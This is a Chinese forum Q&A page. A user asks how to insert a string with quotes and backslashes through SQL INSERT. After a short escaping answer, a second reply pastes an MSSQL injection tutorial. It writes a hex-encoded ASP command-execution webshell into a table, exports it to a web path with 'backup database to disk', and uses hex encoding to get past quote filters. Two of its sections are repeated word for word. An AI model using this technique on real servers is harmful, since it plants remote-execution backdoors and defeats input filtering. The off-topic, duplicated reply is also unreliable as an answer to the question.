日期:2014-05-18  浏览次数:20508 次

简单问题 添加语句中含有特殊字符怎么办
INSERT   INTO   Test   (TestName)   VALUES   ( 'abc 'sdsc\sd.c/; ')
比如说我要添加abc 'sdsc\sd.c/;进去啊   但是里面含有特殊字符啊   所以没办法咯
除了那个别的方法   一个一个添加之外
只用INSERT   INTO语句该怎么写哦
变量A可能包含这种特殊字符   要添加进去怎么办

------解决方案--------------------
INSERT INTO Test (TestName) VALUES ( ' ' 'abc ' 'sdsc\sd.c/; ' ' ')
------解决方案--------------------
1.插入数据

mssql注射使用Backup或makewebtask得到webshell,在写入webshell代码时,如果过滤了一些特殊字符,如 " '等。我们先mssql分析器里“查询”:

use pubs; <===使用数据哭pubs
create table cmd (str image); <===建立个表cmd 一个属性为image的列
insert into cmd (str) values ( ' ') <===插入数据为
select * from cmd; <===查询输出cmd里的所有数据

查询输出str为:
0x3C256578656375746520726571756573742822636D642229262222253E

我们不管插入str什么数据,在数据库里会自动转为hex编码,那么我们可以直接在上面的sql语句里insert into 的数据改为hex编码:

use pubs
create table cmd (str image)
insert into cmd(str) values(0x3C256578656375746520726571756573742822636D642229262222253E)
select * from cmd

查询输出str为:
0x3C256578656375746520726571756573742822636D642229262222253E

什么2种方法得到的结果一样,但是第2种方法里插入的数据,就没有 ' " &等等。

2.导出路径

常规的插入数据后导出webshell的语句为:

backup database model to disk= 'g:\wwwtest\l.asp ';

显然导出路径里包涵了 ' : \等,我们照样可以使用hex编码来突破:

declare @a sysname
select @a=0x673A5C777777746573745C6C2E617370 <====0x673A5C777777746573745C6C2E617370为g:\wwwtest\l.asp对应的hex代码
backup database pubs to disk=@a

运行查询,可以成功导出webshell。

1.插入数据

mssql注射使用Backup或makewebtask得到webshell,在写入webshell代码时,如果过滤了一些特殊字符,如 " '等。我们先mssql分析器里“查询”:

use pubs; <===使用数据哭pubs
create table cmd (str image); <===建立个表cmd 一个属性为image的列
insert into cmd (str) values ( ' ') <===插入数据为
select * from cmd; <===查询输出cmd里的所有数据

查询输出str为:
0x3C256578656375746520726571756573742822636D642229262222253E

我们不管插入str什么数据,在数据库里会自动转为hex编码,那么我们可以直接在上面的sql语句里insert into 的数据改为hex编码:

use pubs
create table cmd (str image)
insert into cmd(str) values(0x3C256578656375746520726571756573742822636D642229262222253E)
select * from cmd

查询输出str为:
0x3C256578656375746520726571756573742822636D642229262222253E

什么2种方法得到的结果一样,但是第2种方法里插入的数据,就没有 ' " &等等。

2.导出路径

常规的插入数据后导出webshell的语句为:

backup database model to disk= 'g:\wwwtest\l.asp ';

显然导出路径里包涵了 ' : \等,我们照样可以使用hex编码来突破:

declare @a sysname
select @a=0x673A5C777777746573745C6C2E617370 <====0x673A5C777777746573745C6C2E617370为g:\wwwtest\l.asp对应的hex代码
backup database pubs to disk=@a

运行查询,可以成功导出webshell。

3.小结:

结合1,2我们可以得到完整的导出webshell的sql语句格式为:

use model
create table cmd (str image)
insert into cmd(str) values(0x***********)
declare @a sysname select @a=0x********** backup database pubs to disk=@a;

其实使用hex等编码的方法,在angel的文章〈饶过 '(单引号)限制继续射入〉里提过,我只是照搬而已,你也可以搬到其他地方去拉:).